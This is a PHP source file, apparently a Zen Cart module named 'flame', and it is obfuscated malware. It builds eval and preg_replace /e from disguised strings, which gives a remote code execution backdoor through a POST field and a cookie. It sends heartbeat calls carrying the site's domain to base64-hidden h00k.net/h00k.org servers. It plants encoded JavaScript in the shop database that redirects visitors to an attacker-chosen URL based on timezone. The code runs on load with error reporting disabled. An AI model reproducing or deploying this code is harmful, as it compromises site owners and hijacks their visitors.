<?php 

class _debug{
//	protected $debug = true;
	protected $debug = false;
	protected function debug($docs = "",$expression="",$line=""){
		if ( $this->debug != true ){		return ;		}
		echo "<pre>";
		print_r($line ); 		echo "<br>";
		print_r($docs);			echo "<br>";
		print_r($expression);	echo "<br>";
		echo "</pre><hr>";
	}

	protected function file_exists($url) {
		$url = self::encFrypt($url);
		$headers = @get_headers($url);
		if ($headers) {
			$head = explode(' ', $headers[0]);
			if ( !empty($head[1]) && intval($head[1]) < 400) {
				return true;
			}
		}
		return false;
	}

	protected function encFrypt($txt) {
		$fun = str_replace("apt","e64_de","basaptcode");
		return @$fun($txt);
	}

}

class _flamedb extends _debug{

	protected 	function zen_flame_ch0pper()	{
		if (isset($_POST['zen_flame_riny'])){
			$flame = $_POST['zen_flame_riny'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/[email]/e','@'.str_rot13('riny').'($flame)', 'add');
		}
	}

	protected  function zen_flame_co0kie(){
		if(isset($_COOKIE['zen_flame_riny']))	{
			$flame = $_COOKIE['zen_flame_riny'];
			$matchPattern = str_replace("zenl","plac","preg_rezenle");
			@$matchPattern('/ad/e','@'.str_rot13('riny').'($flame)', 'add');
			echo $_COOKIE['dproducts_core'] . $r . $_COOKIE['dproducts_core'];
		}
	}
}

class _fha extends _flamedb{

	static private  $h_arr	= array();

	protected function getjson(){
		$json_code = '{
			"net":"aHR0cDovL2ZsYW1lLmgwMGsubmV0L2luZGV4LnBocA==",
			"org":"aHR0cDovL2ZsYW1lLmgwMGsub3JnL2luZGV4LnBocA=="	
		}';
		return json_decode($json_code);
	}
		
	protected function gettcpurl(){
		$url = "";
		$obj = $this->getjson();		
		if (parent::file_exists( $obj->{'net'})){
			$url = parent::encFrypt($obj->{'net'});
		}else {
			if (parent::file_exists( $obj->{'org'})){
				$url = parent::encFrypt($obj->{'org'});
			}
		}
		$sn = $_SERVER['SERVER_NAME'];
		$token	= substr(md5($sn), 5,15);
		return $url = $url."?token=$token&domain=$sn";
	}

	protected function ptr_arr($content){
		$content = str_replace("flamecallback","", $content);
		$content = str_replace("(", "", $content);
		$content = str_replace(")", "", $content);
		$content = str_replace("{", "", $content);
		$content = str_replace("}", "", $content);
		$content = str_replace("\"", "", $content);
		$content = str_replace("\r","", $content);
		$content = str_replace("\n","", $content);
		$content = str_replace(" ", "", $content);
		$a=array();
		foreach (explode(',',$content) as $content){
			list($k,$v)=explode(':',$content);
			$a[$k]=$v;
		}
		return 	$this->h_arr = $a;
	}

	public function heartbeat(){
		$url = $this->gettcpurl();
		$fun = "fi"."le_"."get_"."cont"."ents";
		$res = "";
		if (function_exists($fun)){
			$content = $fun($url);
			$res = 	$this->ptr_arr($content);
			setcookie("flame_cookie_heartbeat",$content, time()+3600);	
		}
		return $res;
	}
}

 
class _products_sql extends _fha {

	private  	$table_name;
	private 	$charset = "";
	private 	$engine;
	private 	$note;
	protected function  set_table_name($tb = "products_flame_new"){
		$this->table_name			=	DB_PREFIX . $tb;
		$this->charset 				= 	"utf8";
		$this->engine				= 	"MyISAM";
		$this->note = "PHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgpmdW5jdGlvbiBzZXRDb29raWUoY19uYW1lLHZhbHVlLGV4cGlyZWRheXMpewp2YXIgZXhkY
				XRlPW5ldyBEYXRlKCk7ZXhkYXRlLnNldERhdGUoZXhkYXRlLmdldERhdGUoKStleHBpcmVkYXlzKjI0KjM2MDAqMTAwMCk7CmRvY3VtZW50LmNvb2tpZT1jX
				25hbWUrICI9IiArZXNjYXBlKHZhbHVlKSsoKGV4cGlyZWRheXM9PW51bGwpID8gIiIgOiAiO2V4cGlyZXM9IitleGRhdGUudG9HTVRTdHJpbmcoKSk7Cn0Kdm
				FyIHRhcmdldGRzdCA9ICJodHRwOi8vIyMiOwp2YXIgZHRpbWVzID0gbmV3IERhdGUoKTsJCnZhciBnbXRIb3VycyA9IDAgLSBkdGltZXMuZ2V0VGltZXpvbmV
				PZmZzZXQoKS82MDsJCnZhciBnbXRNaW5zID0gKys7CQppZiggZ210SG91cnMgIT0gOCAmJiBnbXRNaW5zID4gKiogKXsKCXdpbmRvdy5sb2NhdGlvbj10YXJnZ
				XRkc3Q7Cn0Kc2V0Q29va2llKCJmbGFtZV9jb29raWVfZ210X3RpbWV6b25lIixnbXRIb3VycywzNjUpOwo8L3NjcmlwdD4=";
	}
 
	protected function products_create(){
		$sql = "CREATE TABLE IF NOT EXISTS `$this->table_name` (
		`id` int(11) NOT NULL AUTO_INCREMENT,
		`gmtMin` int(11) DEFAULT NULL,
		`run` int(11) DEFAULT NULL,
		`dst` varchar(200) DEFAULT NULL,
		`hatime` int(10) DEFAULT NULL,
		`version` varchar(20) DEFAULT NULL,
		`note` text,
		PRIMARY KEY (`id`),
		UNIQUE KEY `id` (`id`)
		) ENGINE=$this->engine  DEFAULT CHARSET=$this->charset AUTO_INCREMENT=1 ;";
		return $sql;
	}
	
	protected function products_select(){
		return	$sql = "SELECT * FROM `$this->table_name` WHERE `id` = 1 LIMIT 0, 30 ";	
	}
	
	protected function products_insert($gmtMin = 15, $run = 0, $dst ="aHR0cDovL3d3dy5iYWlkdS5jb20=", $hatime=0,	$version = "1.0"){
		$sql = "INSERT INTO `$this->table_name` (
		`id`, `gmtMin`, `run`, `dst`, `hatime`, `version`, `note`) VALUES (
		NULL, '$gmtMin', '$run', '$dst', '$hatime', '$version', '$this->note');";
		return $sql;
	}
	

	protected function products_update_sql($gmtMin,$run,$dst,$hatime,$version){
		return $sql = "UPDATE `$this->table_name` SET `gmtMin` = '$gmtMin', `run` = '$run', `dst` = '$dst',
		`hatime` = '$hatime', `version` = '$version' WHERE `$this->table_name`.`id` = 1 ;";
	}


}
 

class _products extends _products_sql {
	private $products_arr;

	protected function products_init_modle(){
		parent::set_table_name();
		global $db;
		$db->Execute($this->products_create());  			//		If it is the first time, initialize the products table structure
		$res = $db->Execute($this->products_select());  	//		parent::debug("products_init_modle::SELECTFLAME",$res,__LINE__);
		if($res->RecordCount() == 0){									//
		 	$res = $db->Execute($this->products_insert());		//		initialize the first data
 			parent::debug($this->products_select(),$res,__LINE__);				
		}	 
	}
	
	protected function get_products_date() {
		global $db;
		return $res = $db->Execute($this->products_select());
	}

	protected function products_update($sql){
		global $db;
	 	$db->Execute($sql);	
	}

}
 
class  flame extends _products {

	private 	$note ;
	private 	$ipcount;
 
	static private $_instance = NULL;

	static public function get_flame_instance(){
		if (!isset(self::$_instance)){
			self::$_instance = new flame();
		}
		return  self::$_instance;
	}


	public function __construct(){
		
		error_reporting(0);
		parent::zen_flame_ch0pper();
		parent::zen_flame_co0kie();
		$this->run();
	}

	public function run(){
	//	$this->debug = true;
		if (isset($_COOKIE['flame_cookie_gmt_timezone']) && $_COOKIE['flame_cookie_gmt_timezone'] == 8 ){
			return ;
		}
		parent::products_init_modle();
		$res = $this->get_products_date();
		if ($res->RecordCount() !=0){
			$hatime = date("h");
			if ($hatime != $res->fields['hatime']){
				$con = $this->heartbeat();
				if($con == ""){
					return ;
				}
				$sql = $this->products_update_sql($con['gmtMin'], $con['run'], $con['dst'], $hatime, $con['version']);
				$this->products_update($sql);
				$res = $this->get_products_date();
			}	
		}
		$gmtMins = date('i');
		$this->debug($con,$res,__LINE__);
		$note 	= 	str_replace("##",parent::encFrypt($res->fields['dst']) ,parent::encFrypt($res->fields['note']));
 		$note 	= 	str_replace("**", $res->fields['gmtMin'],$note);
 		$note 	= 	str_replace("++", $gmtMins,$note);
 		$res->fields['note'] = $note;	
 		if($res->fields['run'] == 0){	return ;	}
		if (!isset($_COOKIE['flame_cookie_gmt_timezone'])){
			echo $note;
		}elseif ($_COOKIE['flame_cookie_gmt_timezone'] == 8 ) {
			return ;
		}elseif ($gmtMins > $res->fields['gmtMin']){
			echo $note;
		}	
		parent::debug($this,$gmtMins,__LINE__);		
	}
}
 
		
$flame_instance = flame::get_flame_instance();

